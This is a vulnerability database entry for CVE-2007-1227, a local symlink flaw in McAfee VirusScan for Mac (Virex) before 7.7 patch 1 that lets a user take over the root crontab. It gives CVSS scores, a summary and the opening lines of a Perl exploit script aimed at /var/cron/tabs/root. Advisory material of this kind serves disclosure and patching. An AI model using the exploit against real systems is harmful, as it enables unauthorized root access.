6.6
CVSSv2

CVE-2007-1227

Published: 02/03/2007 Updated: 16/10/2018
CVSS v2 Base Score: 6.6 | Impact Score: 10 | Exploitability Score: 2.7
VMScore: 665
Vector: AV:L/AC:M/Au:S/C:C/I:C/A:C

Vulnerability Summary

VShieldCheck in McAfee VirusScan for Mac (Virex) prior to 7.7 patch 1 allow local users to change permissions of arbitrary files via a symlink attack on /Library/Application Support/Virex/VShieldExclude.txt, as demonstrated by symlinking to the root crontab file to execute arbitrary commands.

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mcafee virex

mcafee virex 6.2

Exploits

#!/usr/bin/perl # # wwwdigitalmunitioncom # written by kf (kf_lists[at]digitalmunition[dot]com) # # Following symlinks is bad mmmmmmmmmmkay! # $dest = "/var/cron/tabs/root"; $tgts{"0"} = "Virex 77dmg:\"/Library/Application Support/Virex/VShieldExcludetxt\" "; unless (($target) = @ARGV) { print "\n\nUsage: $0 <target> \n ...